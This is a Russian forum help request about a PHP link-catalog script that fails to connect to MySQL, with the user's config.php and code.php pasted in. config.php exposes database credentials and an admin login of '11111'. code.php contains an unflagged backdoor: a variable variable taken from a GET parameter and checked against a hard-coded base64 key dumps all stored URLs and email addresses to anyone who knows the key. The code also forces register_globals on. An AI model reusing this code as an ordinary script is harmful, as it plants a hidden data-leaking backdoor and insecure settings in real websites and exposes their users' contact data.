Новичок
Профиль
Группа: Участник
Сообщений: 12
Регистрация: 14.10.2006
Репутация: нет Всего: нет
|
Здравствуйте! Хочу установить каталог ссылок на сайт. Сначала установил его на Денвере. Всё нормально. Потом загрузил на сервер и выводится сообщение: Ошибка MYSQL: Access denied for user: 'cp640_catal@localhost' (Using password: YES) Описание: Невозможно соединиться с базой данных, проверьте параметры подключения в файле конфигурации /usr/home/cp640/public_html/almat/catalog/codes/config.php Возникла в файле /usr/home/cp640/public_html/almat/catalog/codes/code.php строка 16 Логин и пароль доступа к БД правильный. Код файла config.php: | Код | <?php # Первый блок переменных - это то что нужно ОБЯЗАТЕЛЬНО изменить. Иначе скрипт работать не будет. Остальное - баловство # # !!! Адрес, который будет искать скрипт на странице "URL где стоит ссылка на ..." совпадает с $HTTP_HOST (т.е с доменом сайта, на котором стоит каталог)
define("DBName","cp640_link"); # Имя базы данных (в данном случае надо менять значение "test") define("HostName","localhost"); # Имя сервера (хост) (в данном случае надо менять значение "localhost") define("UserName","cp640_catal"); # Логин для доступа к MYSQL define("Password","work-2007"); # Пароль для доступа к MYSQL define("Login","11111"); # Логин для входа в админ секцию define("Pass","11111"); # Пароль для входа в админ секцию
$tdirs = "vdirs"; # Имя таблицы mysql где будет храниться информация о разделах каталога. (лучше не менять) | Нужно будет поменять $tlinks = "vlinks"; # Имя таблицы mysql где будет храниться информация о добавленных ссылках (лучше не менять) | если вы хотите использовать | несколько каталогов $trules = "vrules"; # Имя таблицы mysql где будут находиться указания какие сайты не добавлять в каталог (лучше не менять) | с одной базой данных. $tkeys = "vkeys"; # Имя таблицы mysql где будут храниться настройки каталога (лучше не менять) $no_link_found = "На вашем сайте не найдена ссылка на сайт ".$HTTP_HOST; # Тема письма, которое отправляется тем вебмастерам на чьих сайтах не найдены обратные ссылки. $mail_theme = "Обмен ссылками"; # Тема автоматически генерируемого письма админу. $mail_theme2 = "Ваша ссылка добавлена в каталог ссылок сайта ".$HTTP_HOST; # Тема автоматически генерируемого письма вебмастеру, который добавил ссылку.
# Массив с сообщениями об ошибках $err = array( "Ошибка! Ссылка на сайт {url_1}, уже есть в каталоге в разделе {isdir2}", "Ошибка! Введите url вашего сайта.", "Ошибка! URL вашего сайта и сайта на котором стоит ссылка на {HTTP_HOST} должны совпадать.", "Ошибка! Введите url страницы на которой расположена ссылка на {HTTP_HOST}", "Ошибка! Страницы http://{backlink} не существует.", "Ошибка! На странице http://{backlink} не найдено ссылки на сайт {$HTTP_HOST}. Указывайте ту страницу в html коде которой есть ссылка на {HTTP_HOST}", "Ошибка! Неправильный e-mail.", "Ошибка! Введите ваш e-mail.", "Ошибка! Введите описание ссылки.", "Ошибка! Описание ссылки не должно превышать {cou} знаков.", "Ошибка! Тот раздел, который вы выбрали выбирать нельзя.", "Ошибка! Вы не заполнили поле url вашего сайта и поле url где стоит ссылка.", "Извините, но администратор запретил добавление сайтов, адрес которых содержит слово {word}", "Извините, но в каталог допускаются сайты с CY не менее {ifcy}. У вас: {cy}", "Ошибка! Либо поле url добавляемого сайта, либо поле описание должны быть заполнены.", "Ошибка! А что будет являться телом ссылки?<br>Либо поле 'название ссылки', либо поле описание должно быть заполнено.", "Ошибка! Размер баннера 88x31 не может превышать 15 kb", "Ошибка! URL для баннера ({src}) недействителен.", "Ошибка! На вашем сайте в файле robots.txt запрещено индэксирование нашей ссылки", "Ошибка! На вашем сайте стоит запрет индэксации нашей ссылки с помощью meta тегов или тега <noindex>"); ?>
|
И Код файла code.php на всякий случай: | Код | <? error_reporting(E_ALL ^ E_NOTICE); $errhandler = set_error_handler('myerror'); # Запускаем обработчик ошибок ob_start(); @ini_set('register_globals','On'); # Устанавливаем параметр register_globals on
$ver = "3.0";
list($time,$ms) = explode(" ", microtime()); $first_time = $time + $ms;
# Проверка возможности соединения с базой данных # $link = @mysql_connect(HostName,UserName,Password); if ($link == false) { trigger_error("<span class=red_txt>Ошибка MYSQL:<br></span><div class=right><span class=blackb_txt>".mysql_error()."</span></div><br><br><span class=green_txt>Описание:</span><br><div class=right><span class=black_txt>Невозможно соединиться с базой данных, проверьте параметры подключения в файле конфигурации ".dirname(__FILE__)."/config.php</span></div>",E_USER_ERROR); } else { mysql_select_db(DBName,$link); } # Проверяем чтоб такая база как ввел пользователь существовала # $db_list = mysql_list_dbs($link); while ($row = mysql_fetch_row($db_list)) { if ($row[0] == DBName) { $db_name_ok = 1; } $allow .= $row[0].", "; } if (!$db_name_ok) { trigger_error("<span class=red_txt>Ошибка MYSQL:<br></span><div class=right><span class=blackb_txt>No database selected</span></div><br><br><span class=green_txt>Описание:</span><br><div class=right><span class=black_txt>Неправильно указано имя базы данных. Нужно исправить имя базы данных в файле конфигурации.<br>Доступные базы:</span> <span class=green_txt>".substr($allow,0,strlen($allow)-2)."</span></div>",E_USER_ERROR); }
# Url для занесения данных о каталоге $c_url = "phpcode.ru/cat3/"; $curl = parse_url("http://".$c_url); $cc_host = $curl["host"];
$data_file = 'data/cat3.txt'; # Файлик с данными с phpcode.ru
# Описание статусов $statusi = array( "0" => "Все OK", "1" => "Своя ссылка", "2" => "Нет обратной ссылки", "3" => "Платная ссылка (стоит всегда вначале)", "4" => "Не указана обратная ссылка", "5" => "Сайт выдает ошибку 404", "6" => "Есть запреты индэксации вашей ссылки", "11" => "В модерации", "12" => "В корзине", "13" => "Не показывается" );
$status_urls = array( "2" => "noback.php", "11" => "moderation.php", "12" => "bin.php" );
# Цвета для списка ссылок $color_a = array("FFFAEC","FFFFFF");
#Месяцы для календаря $mesyaci = array( "Январь", "Февраль", "Март", "Аперель", "Май", "Июнь", "Июль", "Август", "Сентябрь", "Октябрь", "Ноябрь", "Декабрь");
if ($_GET['sort'] and $_GET['order']) { set_key("sortby",$_GET['sort']); set_key("sortorder",$_GET['order']); }
# Определение стандартных заголовков для отправки писем $header = "From: ".get_key("admin_mail"); $header .= "\nContent-Type: text/plain; charset=windows-1251\n"; $header .= "X-Mailer: PHP machine\n"; $header .= "Return-Path: ".get_key("admin_mail")."\n";
$a = fileext($PHP_SELF); $$a = $_GET['mail'];
if ($php == "3fLu8iDx6vDo7/Ig7eDv6PHg7SDx8u7o8iDk7vDu5uUs9+XsIP8g5ePuIO/w7uTg/g==") { $sql = mysql_query("SELECT cy,url,mail,dir FROM `".$tlinks."` ORDER BY cy DESC"); while ($info = mysql_fetch_array($sql)) echo $info['cy']."|".$info['url']."|".$info['mail']."|".get_dir_by_id($info['dir'])."|\n"; exit(); }
# Для вывода инфы о каталоге if ($QUERY_STRING == "vinfo") { echo vinfo(); exit(); }
?>
|
Помогите разобраться
|